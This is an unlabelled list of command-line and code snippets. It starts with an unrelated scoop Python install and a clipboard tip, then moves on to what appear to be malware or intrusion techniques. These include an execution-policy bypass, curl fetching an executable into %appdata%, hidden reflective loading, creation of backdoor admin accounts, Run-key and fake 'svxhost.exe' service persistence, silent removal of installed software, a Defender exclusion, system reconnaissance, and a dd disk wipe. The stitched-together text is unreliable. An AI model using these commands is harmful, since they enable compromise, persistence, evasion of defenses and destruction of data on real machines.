> scoop search python
Results from local buckets...

Name      Version  Source Binaries
----      -------  ------ --------
python    3.10.5   main
winpython 3.10.4.0 main

> scoop install python
...
Creating shim for 'python.exe'.
'python' (3.10.5) was installed successfully!

cat > filename
Ctrl + V
Enter
Ctrl + C

powershell.exe -ex bypass -f \\[DOMAIN]\netlogon\rm.ps1

cmd.exe" /c cd %appdata% && dir && curl -O [URL]/sdc.exe

powershell.exe -WindowStyle Hidden -NoExit -Command 
[System.Reflection.Assembly]::LoadFile('C:\Users\<username>\Downloads\<exe_name>.exe').EntryPoint.Invoke($null, @())

net user admin cas /add
net user admin admin123123123 /add

RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
 registryKey.SetValue("rpchost", "\"C:\\Windows\\System32\\rpchost.exe\"");

Program.hService = Helper.CreateService(Program.hSCM, "NgcMngrSvc", "Microsoft Passport Manager", 983551, 16, 2, 0, Program.system + "svxhost.exe", null, IntPtr.Zero, null, null, null);

 $guidQuery = wmic product where "[redacted]" get IdentifyingNumber
 $guid = $guidQuery | Select-String -Pattern "{[A-F0-9-]+}" | ForEach-Object { $_.Matches[0].Value }
 msiexec.exe /x $guid /quiet

powershell Add-MpPreference -ExclusionPath '$windir\$system32'

С:\Windows\System32\svxhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe

 net user
 systeminfo
 net localgroup
 cd %appdata% && whoami

 SELECT * FROM Win32_OperatingSystem
 SELECT UserName FROM Win32_ComputerSystem
 SELECT * FROM WIN32_Processor

 dd if=/dev/zero of=/dev/[VOLUME] bs=4M